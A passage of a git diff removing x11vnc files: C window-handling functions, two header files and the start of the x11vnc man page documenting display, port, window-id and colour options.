- r = w = None;
- list = NULL;
- return;
-#else
-
- X_LOCK;
- /* no need to trap error since rootwin */
- rc = XQueryTree_wr(dpy, rootwin, &r, &w, &list, &ui);
- num = (int) ui;
-
- if (! rc) {
- stack_list_num = 0;
- last_free = now;
- last_snap = 0.0;
- X_UNLOCK;
- return;
- }
-
- last_snap = now;
- if (num > stack_list_len + blackouts) {
- int n = 2*num;
- free(stack_list);
- stack_list = (winattr_t *) malloc(n*sizeof(winattr_t));
- stack_list_len = n;
- }
- j = 0;
- for (i=0; i<num; i++) {
- stack_list[j].win = list[i];
- stack_list[j].fetched = 0;
- stack_list[j].valid = 0;
- stack_list[j].time = now;
- j++;
- }
- for (i=0; i<blackouts; i++) {
- stack_list[j].win = get_boff() + 1;
- stack_list[j].fetched = 1;
- stack_list[j].valid = 1;
- stack_list[j].x = blackr[i].x1;
- stack_list[j].y = blackr[i].y1;
- stack_list[j].width = blackr[i].x2 - blackr[i].x1;
- stack_list[j].height = blackr[i].y2 - blackr[i].y1;
- stack_list[j].time = now;
- stack_list[j].map_state = IsViewable;
- stack_list[j].rx = -1;
- stack_list[j].ry = -1;
- j++;
-
-if (0) fprintf(stderr, "blackr: %d %dx%d+%d+%d\n", i,
- stack_list[j-1].width, stack_list[j-1].height,
- stack_list[j-1].x, stack_list[j-1].y);
-
- }
- stack_list_num = num + blackouts;
- if (debug_wireframe > 1) {
- fprintf(stderr, "snapshot_stack_list: num=%d len=%d\n",
- stack_list_num, stack_list_len);
- }
-
- XFree_wr(list);
- X_UNLOCK;
-#endif /* NO_X11 */
-}
-
-int get_boff(void) {
- if (macosx_console) {
- return 0x1000000;
- } else {
- return 0;
- }
-}
-
-int get_bwin(void) {
- return 10;
-}
-
-void update_stack_list(void) {
- int k;
- double now;
- XWindowAttributes attr;
- int boff, bwin;
-
- if (! stack_list) {
- return;
- }
- if (! stack_list_num) {
- return;
- }
-
- dtime0(&now);
-
- boff = get_boff();
- bwin = get_bwin();
-
- X_LOCK;
- for (k=0; k < stack_list_num; k++) {
- Window win = stack_list[k].win;
- if (win != None && boff <= (int) win && (int) win < boff + bwin) {
- ; /* special, blackout */
- } else if (!valid_window(win, &attr, 1)) {
- stack_list[k].valid = 0;
- } else {
- stack_list[k].valid = 1;
- stack_list[k].x = attr.x;
- stack_list[k].y = attr.y;
- stack_list[k].width = attr.width;
- stack_list[k].height = attr.height;
- stack_list[k].border_width = attr.border_width;
- stack_list[k].depth = attr.depth;
- stack_list[k].class = attr.class;
- stack_list[k].backing_store = attr.backing_store;
- stack_list[k].map_state = attr.map_state;
-
- /* root_x, root_y not used for stack_list usage: */
- stack_list[k].rx = -1;
- stack_list[k].ry = -1;
- }
- stack_list[k].fetched = 1;
- stack_list[k].time = now;
- }
- X_UNLOCK;
-if (0) fprintf(stderr, "update_stack_list[%d]: %.4f %.4f\n", stack_list_num, now - x11vnc_start, dtime(&now));
-}
-
-Window query_pointer(Window start) {
- int rx, ry;
-#if !NO_X11
- Window r, c; /* compiler warnings */
- int wx, wy;
- unsigned int mask;
-#endif
-
-#ifdef MACOSX
- if (macosx_console) {
- macosx_get_cursor_pos(&rx, &ry);
- }
-#endif
-
- RAWFB_RET(None)
-
-#if NO_X11
- if (!start) { rx = ry = 0; }
- return None;
-#else
- if (start == None) {
- start = rootwin;
- }
- if (XQueryPointer_wr(dpy, start, &r, &c, &rx, &ry, &wx, &wy, &mask)) {
- return c;
- } else {
- return None;
- }
-#endif /* NO_X11 */
-}
-
-unsigned int mask_state(void) {
-#if NO_X11
- RAWFB_RET(0)
- return 0;
-#else
- Window r, c;
- int rx, ry, wx, wy;
- unsigned int mask;
-
- RAWFB_RET(0)
-
- if (XQueryPointer_wr(dpy, rootwin, &r, &c, &rx, &ry, &wx, &wy, &mask)) {
- return mask;
- } else {
- return 0;
- }
-#endif /* NO_X11 */
-}
-
-int pick_windowid(unsigned long *num) {
- char line[512];
- int ok = 0, n = 0, msec = 10, secmax = 15;
- FILE *p;
-
- RAWFB_RET(0)
-
- if (use_dpy) {
- set_env("DISPLAY", use_dpy);
- }
- /* id */
- if (no_external_cmds || !cmd_ok("id")) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", "xwininfo");
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
- close_exec_fds();
- p = popen("xwininfo", "r");
-
- if (! p) {
- return 0;
- }
-
- fprintf(stderr, "\n");
- fprintf(stderr, " Please select the window for x11vnc to poll\n");
- fprintf(stderr, " by clicking the mouse in that window.\n");
- fprintf(stderr, "\n");
-
- while (msec * n++ < 1000 * secmax) {
- unsigned long tmp;
- char *q;
- fd_set set;
- struct timeval tv;
-
- if (screen && screen->clientHead) {
- /* they may be doing the pointer-pick thru vnc: */
- int nfds;
- tv.tv_sec = 0;
- tv.tv_usec = msec * 1000;
- FD_ZERO(&set);
- FD_SET(fileno(p), &set);
-
- nfds = select(fileno(p)+1, &set, NULL, NULL, &tv);
-
- if (nfds == 0 || nfds < 0) {
- /*
- * select timedout or error.
- * note this rfbPE takes about 30ms too:
- */
- rfbPE(-1);
- XFlush_wr(dpy);
- continue;
- }
- }
-
- if (fgets(line, 512, p) == NULL) {
- break;
- }
- q = strstr(line, " id: 0x");
- if (q) {
- q += 5;
- if (sscanf(q, "0x%lx ", &tmp) == 1) {
- ok = 1;
- *num = tmp;
- fprintf(stderr, " Picked: 0x%lx\n\n", tmp);
- break;
- }
- }
- }
- pclose(p);
- return ok;
-}
-
-Window descend_pointer(int depth, Window start, char *name_info, int len) {
-#if NO_X11
- RAWFB_RET(None)
- if (!depth || !start || !name_info || !len) {}
- return None;
-#else
- Window r, c, clast = None;
- int i, rx, ry, wx, wy;
- int written = 0, filled = 0;
- char *store = NULL;
- unsigned int m;
- static XClassHint *classhint = NULL;
- static char *nm_cache = NULL;
- static int nm_cache_len = 0;
- static Window prev_start = None;
-
- RAWFB_RET(None)
-
- if (! classhint) {
- classhint = XAllocClassHint();
- }
-
- if (! nm_cache) {
- nm_cache = (char *) malloc(1024);
- nm_cache_len = 1024;
- nm_cache[0] = '\0';
- }
- if (name_info && nm_cache_len < len) {
- if (nm_cache) {
- free(nm_cache);
- }
- nm_cache_len = 2*len;
- nm_cache = (char *) malloc(nm_cache_len);
- }
-
- if (name_info) {
- if (start != None && start == prev_start) {
- store = NULL;
- strncpy(name_info, nm_cache, len);
- } else {
- store = name_info;
- name_info[0] = '\0';
- }
- }
-
- if (start != None) {
- c = start;
- if (name_info) {
- prev_start = start;
- }
- } else {
- c = rootwin;
- }
-
- for (i=0; i<depth; i++) {
- clast = c;
- if (store && ! filled) {
- char *name;
- if (XFetchName(dpy, clast, &name) && name != NULL) {
- int l = strlen(name);
- if (written + l+2 < len) {
- strcat(store, "^^");
- written += 2;
- strcat(store, name);
- written += l;
- } else {
- filled = 1;
- }
- XFree_wr(name);
- }
- }
- if (store && classhint && ! filled) {
- classhint->res_name = NULL;
- classhint->res_class = NULL;
- if (XGetClassHint(dpy, clast, classhint)) {
- int l = 0;
- if (classhint->res_class) {
- l += strlen(classhint->res_class);
- }
- if (classhint->res_name) {
- l += strlen(classhint->res_name);
- }
- if (written + l+4 < len) {
- strcat(store, "##");
- if (classhint->res_class) {
- strcat(store,
- classhint->res_class);
- }
- strcat(store, "++");
- if (classhint->res_name) {
- strcat(store,
- classhint->res_name);
- }
- written += l+4;
- } else {
- filled = 1;
- }
- if (classhint->res_class) {
- XFree_wr(classhint->res_class);
- }
- if (classhint->res_name) {
- XFree_wr(classhint->res_name);
- }
- }
- }
- if (! XQueryPointer_wr(dpy, c, &r, &c, &rx, &ry, &wx, &wy, &m)) {
- break;
- }
- if (! c) {
- break;
- }
- }
- if (start != None && name_info) {
- strncpy(nm_cache, name_info, nm_cache_len);
- }
-
- return clast;
-#endif /* NO_X11 */
-}
-
-void id_cmd(char *cmd) {
- int rc, dx = 0, dy = 0, dw = 0, dh = 0;
- int x0, y0, w0, h0;
- int x, y, w, h, do_move = 0, do_resize = 0;
- int disp_x = DisplayWidth(dpy, scr);
- int disp_y = DisplayHeight(dpy, scr);
- Window win = subwin;
- XWindowAttributes attr;
- XErrorHandler old_handler = NULL;
- Window twin;
-
- if (!cmd || !strcmp(cmd, "")) {
- return;
- }
- if (strstr(cmd, "win=") == cmd) {
- if (! scan_hexdec(cmd + strlen("win="), &win)) {
- rfbLog("id_cmd: incorrect win= hex/dec number: %s\n", cmd);
- return;
- } else {
- char *q = strchr(cmd, ':');
- if (!q) {
- rfbLog("id_cmd: incorrect win=...: hex/dec number: %s\n", cmd);
- return;
- }
- rfbLog("id_cmd:%s set window id to 0x%lx\n", cmd, win);
- cmd = q+1;
- }
- }
- if (!win) {
- rfbLog("id_cmd:%s not in sub-window mode or no win=0xNNNN.\n", cmd);
- return;
- }
-#if !NO_X11
- X_LOCK;
- if (!valid_window(win, &attr, 1)) {
- X_UNLOCK;
- return;
- }
- w0 = w = attr.width;
- h0 = h = attr.height;
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- XTranslateCoordinates(dpy, win, rootwin, 0, 0, &x, &y, &twin);
- x0 = x;
- y0 = y;
- if (strstr(cmd, "move:") == cmd) {
- if (sscanf(cmd, "move:%d%d", &dx, &dy) == 2) {
- x = x + dx;
- y = y + dy;
- do_move = 1;
- }
- } else if (strstr(cmd, "resize:") == cmd) {
- if (sscanf(cmd, "resize:%d%d", &dw, &dh) == 2) {
- w = w + dw;
- h = h + dh;
- do_move = 1;
- do_resize = 1;
- }
- } else if (strstr(cmd, "geom:") == cmd) {
- if (parse_geom(cmd+strlen("geom:"), &w, &h, &x, &y, disp_x, disp_y)) {
- do_move = 1;
- do_resize = 1;
- if (w <= 0) {
- w = w0;
- }
- if (h <= 0) {
- h = h0;
- }
- if (scaling && getenv("X11VNC_APPSHARE_ACTIVE")) {
- x /= scale_fac_x;
- y /= scale_fac_y;
- }
- }
- } else if (!strcmp(cmd, "raise")) {
- rc = XRaiseWindow(dpy, win);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (!strcmp(cmd, "lower")) {
- rc = XLowerWindow(dpy, win);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (!strcmp(cmd, "map")) {
- rc= XMapRaised(dpy, win);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (!strcmp(cmd, "unmap")) {
- rc= XUnmapWindow(dpy, win);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (!strcmp(cmd, "iconify")) {
- rc= XIconifyWindow(dpy, win, scr);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (strstr(cmd, "wm_name:") == cmd) {
- rc= XStoreName(dpy, win, cmd+strlen("wm_name:"));
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (strstr(cmd, "icon_name:") == cmd) {
- rc= XSetIconName(dpy, win, cmd+strlen("icon_name:"));
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else if (!strcmp(cmd, "wm_delete")) {
- XClientMessageEvent ev;
- memset(&ev, 0, sizeof(ev));
- ev.type = ClientMessage;
- ev.send_event = True;
- ev.display = dpy;
- ev.window = win;
- ev.message_type = XInternAtom(dpy, "WM_PROTOCOLS", False);
- ev.format = 32;
- ev.data.l[0] = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
- rc = XSendEvent(dpy, win, False, 0, (XEvent *) &ev);
- rfbLog("id_cmd:%s rc=%d\n", cmd, rc);
- } else {
- rfbLog("id_cmd:%s unrecognized command.\n", cmd);
- }
- if (do_move || do_resize) {
- if (w >= disp_x) {
- w = disp_x - 4;
- }
- if (h >= disp_y) {
- h = disp_y - 4;
- }
- if (w < 1) {
- w = 1;
- }
- if (h < 1) {
- h = 1;
- }
- if (x + w > disp_x) {
- x = disp_x - w - 1;
- }
- if (y + h > disp_y) {
- y = disp_y - h - 1;
- }
- if (x < 0) {
- x = 1;
- }
- if (y < 0) {
- y = 1;
- }
- rc = 0;
- rc += XMoveWindow(dpy, win, x, y);
- off_x = x;
- off_y = y;
-
- rc += XResizeWindow(dpy, win, w, h);
-
- rfbLog("id_cmd:%s rc=%d dx=%d dy=%d dw=%d dh=%d %dx%d+%d+%d -> %dx%d+%d+%d\n",
- cmd, rc, dx, dy, dw, dh, w0, h0, x0, y0, w, h, x, h);
- }
- XSync(dpy, False);
- XSetErrorHandler(old_handler);
- if (trapped_xerror) {
- rfbLog("id_cmd:%s trapped_xerror.\n", cmd);
- }
- trapped_xerror = 0;
- if (do_resize) {
- rfbLog("id_cmd:%s calling check_xrandr_event.\n", cmd);
- check_xrandr_event("id_cmd");
- }
- X_UNLOCK;
-#endif
-}
-
diff --git a/x11vnc/win_utils.h b/x11vnc/win_utils.h
deleted file mode 100644
index 0b99165..0000000
--- a/x11vnc/win_utils.h
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_WIN_UTILS_H
-#define _X11VNC_WIN_UTILS_H
-
-/* -- win_utils.h -- */
-#include "xinerama.h"
-#include "winattr_t.h"
-
-extern winattr_t *stack_list;
-extern int stack_list_len;
-extern int stack_list_num;
-
-extern Window parent_window(Window win, char **name);
-extern int valid_window(Window win, XWindowAttributes *attr_ret, int bequiet);
-extern Bool xtranslate(Window src, Window dst, int src_x, int src_y, int *dst_x,
- int *dst_y, Window *child, int bequiet);
-extern int get_window_size(Window win, int *w, int *h);
-extern void snapshot_stack_list(int free_only, double allowed_age);
-extern int get_boff(void);
-extern int get_bwin(void);
-extern void update_stack_list(void);
-extern Window query_pointer(Window start);
-extern unsigned int mask_state(void);
-extern int pick_windowid(unsigned long *num);
-extern Window descend_pointer(int depth, Window start, char *name_info, int len);
-extern void id_cmd(char *cmd);
-
-#endif /* _X11VNC_WIN_UTILS_H */
diff --git a/x11vnc/winattr_t.h b/x11vnc/winattr_t.h
deleted file mode 100644
index 24ea81b..0000000
--- a/x11vnc/winattr_t.h
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_WINATTR_T_H
-#define _X11VNC_WINATTR_T_H
-
-/* -- winattr_t.h -- */
-
-typedef struct winattr {
- Window win;
- int fetched;
- int valid;
- int x, y;
- int width, height;
- int border_width;
- int depth;
- int class;
- int backing_store;
- int map_state;
- int rx, ry;
- double time;
- double bs_time;
- double su_time;
- double vis_obs_time;
- double vis_unobs_time;
- int bs_x, bs_y, bs_w, bs_h;
- int su_x, su_y, su_w, su_h;
- Window above;
- short vis_state;
- short selectinput;
- short map_cnt;
- short unmap_cnt;
- short vis_cnt;
- short create_cnt;
-} winattr_t;
-
-#endif /* _X11VNC_WINATTR_T_H */
diff --git a/x11vnc/x11vnc.1 b/x11vnc/x11vnc.1
deleted file mode 100644
index d4dd0a2..0000000
--- a/x11vnc/x11vnc.1
+++ /dev/null
@@ -1,6962 +0,0 @@
-.\" This file was automatically generated from x11vnc -help output.
-.TH X11VNC "1" "December 2010" "x11vnc " "User Commands"
-.SH NAME
-x11vnc - allow VNC connections to real X11 displays
- version: 0.9.13, lastmod: 2010-12-27
-.SH SYNOPSIS
-.B x11vnc
-[OPTION]...
-.SH DESCRIPTION
-.PP
-Typical usage is:
-.IP
-Run this command in a shell on the remote machine "far-host"
-with X session you wish to view:
-.IP
-x11vnc -display :0
-.IP
-Then run this in another window on the machine you are sitting at:
-.IP
-vncviewer far-host:0
-.PP
-Once x11vnc establishes connections with the X11 server and starts listening
-as a VNC server it will print out a string: PORT=XXXX where XXXX is typically
-5900 (the default VNC server port). One would next run something like
-this on the local machine: "vncviewer hostname:N" where "hostname" is
-the name of the machine running x11vnc and N is XXXX - 5900, i.e. usually
-"vncviewer hostname:0".
-.PP
-By default x11vnc will not allow the screen to be shared and it will exit
-as soon as the client disconnects. See \fB-shared\fR and \fB-forever\fR below to override
-these protections. See the FAQ for details how to tunnel the VNC connection
-through an encrypted channel such as
-.IR ssh (1).
-In brief:
-.IP
-ssh \fB-t\fR \fB-L\fR 5900:localhost:5900 far-host 'x11vnc \fB-localhost\fR \fB-display\fR :0'
-.PP
-% vncviewer -encodings 'copyrect tight zrle hextile' localhost:0
-.PP
-Also, use of a VNC password (-rfbauth or \fB-passwdfile)\fR is strongly recommended.
-.PP
-For additional info see: http://www.karlrunge.com/x11vnc/
-and http://www.karlrunge.com/x11vnc/faq.html
-.PP
-Config file support: if the file $HOME/.x11vncrc exists then each line in
-it is treated as a single command line option. Disable with \fB-norc.\fR For
-each option name, the leading character "-" is not required. E.g. a line
-that is either "forever" or "\fB-forever\fR" may be used and are equivalent.
-Likewise "wait 100" or "\fB-wait\fR \fI100\fR" are acceptable and equivalent lines.
-The "#" character comments out to the end of the line in the usual way
-(backslash it for a literal). Leading and trailing whitespace is trimmed off.
-Lines may be continued with a "\\" as the last character of a line (it
-becomes a space character).
-.PP
-.SH OPTIONS
-
-.PP
-\fB-display\fR \fIdisp\fR
-.IP
-X11 server display to connect to, usually :0. The X
-server process must be running on same machine and
-support MIT-SHM. Equivalent to setting the DISPLAY
-environment variable to \fIdisp\fR.
-.IP
-See the description below of the "\fB-display\fR \fIWAIT:...\fR"
-extensions, where alias "\fB-find\fR" will find the user's
-display automatically, and "\fB-create\fR" will create a
-Xvfb session if no session is found.
-.PP
-\fB-auth\fR \fIfile\fR
-.IP
-Set the X authority file to be \fIfile\fR, equivalent to
-setting the XAUTHORITY environment variable to \fIfile\fR
-before startup. Same as \fB-xauth\fR file. See
-.IR Xsecurity (7)
-,
-.IR xauth (1)
-man pages for more info.
-.IP
-Use '-auth guess' to have x11vnc use its \fB-findauth\fR
-mechanism (described below) to try to guess the
-XAUTHORITY filename and use it.
-.IP
-XDM/GDM/KDM: if you are running x11vnc as root and want
-to find the XAUTHORITY before anyone has logged into an
-X session yet, use: x11vnc \fB-env\fR FD_XDM=1 \fB-auth\fR guess ...
-(This will also find the XAUTHORITY if a user is already
-logged into the X session.) When running as root,
-FD_XDM=1 will be tried if the initial \fB-auth\fR guess fails.
-.PP
-\fB-N\fR
-.IP
-If the X display is :N, try to set the VNC display to
-also be :N This just sets the \fB-rfbport\fR option to 5900+N
-The program will exit immediately if that port is not
-available. The \fB-N\fR option only works with normal \fB-display\fR
-usage, e.g. :0 or :8, \fB-N\fR is ignored in the \fB-display\fR
-WAIT:..., \fB-create,\fR \fB-find,\fR \fB-svc,\fR \fB-redirect,\fR etc modes.
-.PP
-\fB-autoport\fR \fIn\fR
-.IP
-Automatically probe for a free VNC port starting at n.
-The default is to start probing at 5900. Use this to
-stay away from other VNC servers near 5900.
-.PP
-\fB-rfbport\fR \fIstr\fR
-.IP
-The VNC port to listen on (a LibVNCServer option), e.g.
-5900, 5901, etc. If specified as "\fB-rfbport\fR \fIPROMPT\fR"
-then the x11vnc \fB-gui\fR is used to prompt the user to
-enter the port number.
-.PP
-\fB-6\fR
-.IP
-IPv6 listening support. In addition to IPv4, the
-IPv6 address is listened on for incoming connections.
-The same port number as IPv4 is used.
-.IP
-NOTE: This x11vnc binary was compiled to have the
-"-6" IPv6 listening mode ENABLED by default (CPPFLAGS
-\fB-DX11VNC_LISTEN6=1).\fR So to disable IPv6 listening mode
-you MUST supply the "\fB-no6\fR" option (see below.)
-.IP
-The "-6" mode works for both normal connections and
-\fB-ssl\fR encrypted ones. Nearly everything is supported
-for the IPv6 case, but there are a few exceptions.
-See \fB-stunnel\fR for its IPv6 support.
-.IP
-Currently, for absolutely everything to work correctly
-the machine may need to have some IPv4 support, at the
-least for the loopback interface. However, for nearly
-all usage modes no IPv4 support is required. See \fB-nopiv4.\fR
-.IP
-If you have trouble compiling or running in IPv6 mode,
-set \fB-DX11VNC_IPV6=0\fR in CPPFLAGS when configuring to
-disable IPv6 support.
-.PP
-\fB-no6\fR
-.IP
-Disable IPv6 listening support (only useful if the
-"-6" mode is compiled in to be the default; see the
-X11VNC_LISTEN6 description above under "-6".)
-.PP
-\fB-noipv6\fR
-.IP
-Do not try to use IPv6 for any listening or connecting
-sockets. This includes both the listening service
-port(s) and outgoing connections from \fB-connect,\fR
-\fB-connect_or_exit,\fR or \fB-proxy.\fR Use this if you are having
-problems due to IPv6.
-.PP
-\fB-noipv4\fR
-.IP
-Do not try to use IPv4 for any listening or connecting
-sockets. This is mainly for exploring the behavior of
-x11vnc on an IPv6-only system, but may have other uses.
-.PP
-\fB-reopen\fR
-.IP
-If the X server connection is disconnected, try to
-reopen the X display (up to one time.) This is of use
-for display managers like GDM (KillInitClients option)
-that kill x11vnc just after the user logs into the
-X session. Note: the reopened state may be unstable.
-Set X11VNC_REOPEN_DISPLAY=n to reopen n times and
-set X11VNC_REOPEN_SLEEP_MAX to the number of seconds,
-default 10, to keep trying to reopen the display (once
-per second.)
-.IP
-Update: as of 0.9.9, x11vnc tries to automatically avoid
-being killed by the display manager by delaying creating
-windows or using XFIXES. So you shouldn't need to use
-KillInitClients=false as long as you log in quickly
-enough (within 45 seconds of connecting.) You can
-disable this by setting X11VNC_AVOID_WINDOWS=never.
-You can also set it to the number of seconds to delay.
-.PP
-\fB-reflect\fR \fIhost:N\fR
-.IP
-Instead of connecting to and polling an X display,
-connect to the remote VNC server host:N and be a
-reflector/repeater for it. This is useful for trying
-to manage the case of many simultaneous VNC viewers
-(e.g. classroom broadcasting) where, e.g. you put
-a repeater on each network switch, etc, to improve
-performance by distributing the load and network
-traffic. Implies \fB-shared\fR (use \fB-noshared\fR as a later
-option to disable). See the discussion below under
-\fB-rawfb\fR vnc:host:N for more details.
-.PP
-\fB-id\fR \fIwindowid\fR
-.IP
-Show the X window corresponding to \fIwindowid\fR not
-the entire display. New windows like popup menus,
-transient toplevels, etc, may not be seen or may be
-clipped. Disabling SaveUnders or BackingStore in the
-X server may help show them. x11vnc may crash if the
-window is initially partially obscured, changes size,
-is iconified, etc. Some steps are taken to avoid this
-and the \fB-xrandr\fR mechanism is used to track resizes. Use
-.IR xwininfo (1)
-to get the window id, or use "\fB-id\fR \fIpick\fR"
-to have x11vnc run
-.IR xwininfo (1)
-for you and extract
-the id. The \fB-id\fR option is useful for exporting very
-simple applications (e.g. the current view on a webcam).
-.PP
-\fB-sid\fR \fIwindowid\fR
-.IP
-As \fB-id,\fR but instead of using the window directly it
-shifts a root view to it: this shows SaveUnders menus,
-etc, although they will be clipped if they extend beyond
-the window.
-.PP
-\fB-appshare\fR
-.IP
-Simple application sharing based on the \fB-id/-sid\fR
-mechanism. Every new toplevel window that the
-application creates induces a new viewer window via
-a reverse connection. The \fB-id/-sid\fR and \fB-connect\fR
-options are required. Run 'x11vnc \fB-appshare\fR \fB-help'\fR
-for more info.
-.PP
-\fB-clip\fR \fIWxH+X+Y\fR
-.IP
-Only show the sub-region of the full display that
-corresponds to the rectangle geometry with size WxH and
-offset +X+Y. The VNC display has size WxH (i.e. smaller
-than the full display). This also works for \fB-id/-sid\fR
-mode where the offset is relative to the upper left
-corner of the selected window. An example use of this
-option would be to split a large (e.g. Xinerama) display
-into two parts to be accessed via separate viewers by
-running a separate x11vnc on each part.
-.IP
-Use '-clip xinerama0' to clip to the first xinerama
-sub-screen (if xinerama is active). xinerama1 for the
-2nd sub-screen, etc. This way you don't need to figure
-out the WxH+X+Y of the desired xinerama sub-screen.
-screens are sorted in increasing distance from the
-(0,0) origin (I.e. not the Xserver's order).
-.PP
-\fB-flashcmap\fR
-.IP
-In 8bpp indexed color, let the installed colormap flash
-as the pointer moves from window to window (slow).
-Also try the \fB-8to24\fR option to avoid flash altogether.
-.PP
-\fB-shiftcmap\fR \fIn\fR
-.IP
-Rare problem, but some 8bpp displays use less than 256
-colorcells (e.g. 16-color grayscale, perhaps the other
-bits are used for double buffering) *and* also need to
-shift the pixels values away from 0, .., ncells. \fIn\fR
-indicates the shift to be applied to the pixel values.
-To see the pixel values set DEBUG_CMAP=1 to print out
-a colormap histogram. Example: \fB-shiftcmap\fR 240
-.PP
-\fB-notruecolor\fR
-.IP
-For 8bpp displays, force indexed color (i.e. a colormap)
-even if it looks like 8bpp TrueColor (rare problem).
-.PP
-\fB-advertise_truecolor\fR
-.IP
-If the X11 display is indexed color, lie to clients
-when they first connect by telling them it is truecolor.
-To workaround RealVNC: inPF has colourMap but not 8bpp
-Use '-advertise_truecolor reset' to reset client fb too.
-.PP
-\fB-visual\fR \fIn\fR
-.IP
-This option probably does not do what you think.
-It simply *forces* the visual used for the framebuffer;
-this may be a bad thing... (e.g. messes up colors or
-cause a crash). It is useful for testing and for some
-workarounds. n may be a decimal number, or 0x hex.
-Run
-.IR xdpyinfo (1)
-for the values. One may also use
-"TrueColor", etc. see <X11/X.h> for a list. If the
-string ends in ":m" then for better or for worse
-the visual depth is forced to be m. You may want to
-use \fB-noshm\fR when using this option (so XGetImage may
-automatically translate the pixel data).
-.PP
-\fB-overlay\fR
-.IP
-Handle multiple depth visuals on one screen, e.g. 8+24
-and 24+8 overlay visuals (the 32 bits per pixel are
-packed with 8 for PseudoColor and 24 for TrueColor).
-.IP
-Currently \fB-overlay\fR only works on Solaris via
-.IR XReadScreen (3X11)
-and IRIX using
-.IR XReadDisplay (3).
-On Solaris there is a problem with image "bleeding"
-around transient popup menus (but not for the menu
-itself): a workaround is to disable SaveUnders
-by passing the "\fB-su\fR" argument to Xsun (in
-/etc/dt/config/Xservers).
-.IP
-Use \fB-overlay\fR as a workaround for situations like these:
-Some legacy applications require the default visual to
-be 8bpp (8+24), or they will use 8bpp PseudoColor even
-when the default visual is depth 24 TrueColor (24+8).
-In these cases colors in some windows will be incorrect
-in x11vnc unless \fB-overlay\fR is used. Another use of
-\fB-overlay\fR is to enable showing the exact mouse cursor
-shape (details below).
-.IP
-Under \fB-overlay,\fR performance will be somewhat slower
-due to the extra image transformations required.
-For optimal performance do not use \fB-overlay,\fR but rather
-configure the X server so that the default visual is
-depth 24 TrueColor and try to have all apps use that
-visual (e.g. some apps have \fB-use24\fR or \fB-visual\fR options).
-.PP
-\fB-overlay_nocursor\fR
-.IP
-Sets \fB-overlay,\fR but does not try to draw the exact mouse
-cursor shape using the overlay mechanism.
-.PP
-\fB-8to24\fR \fI[opts]\fR
-.IP
-Try this option if \fB-overlay\fR is not supported on your
-OS, and you have a legacy 8bpp app that you want to
-view on a multi-depth display with default depth 24
-(and is 32 bpp) OR have a default depth 8 display with
-depth 24 overlay windows for some apps. This option
-may not work on all X servers and hardware (tested
-on XFree86/Xorg mga driver and Xsun). The "opts"
-string is not required and is described below.
-.IP
-This mode enables a hack where x11vnc monitors windows
-within 3 levels from the root window. If it finds
-any that are 8bpp it extracts the indexed color
-pixel values using XGetImage() and then applies a
-transformation using the colormap(s) to create TrueColor
-RGB values that it in turn inserts into bits 1-24 of
-the framebuffer. This creates a depth 24 "view"
-of the display that is then exported via VNC.
-.IP
-Conversely, for default depth 8 displays, the depth
-24 regions are read by XGetImage() and everything is
-transformed and inserted into a depth 24 TrueColor
-framebuffer.
-.IP
-Note that even if there are *no* depth 24 visuals or
-windows (i.e. pure 8bpp), this mode is potentially
-an improvement over \fB-flashcmap\fR because it avoids the
-flashing and shows each window in the correct color.
-.IP
-This method works OK, but may still have bugs and it
-does hog resources. If there are multiple 8bpp windows
-using different colormaps, one may have to iconify all
-but one for the colors to be correct.
-.IP
-There may be painting errors for clipping and switching
-between windows of depths 8 and 24. Heuristics are
-applied to try to minimize the painting errors. One can
-also press 3 Alt_L's in a row to refresh the screen
-if the error does not repair itself. Also the option
-\fB-fixscreen\fR 8=3.0 or \fB-fixscreen\fR V=3.0 may be used to
-periodically refresh the screen at the cost of bandwidth
-(every 3 sec for this example).
-.IP
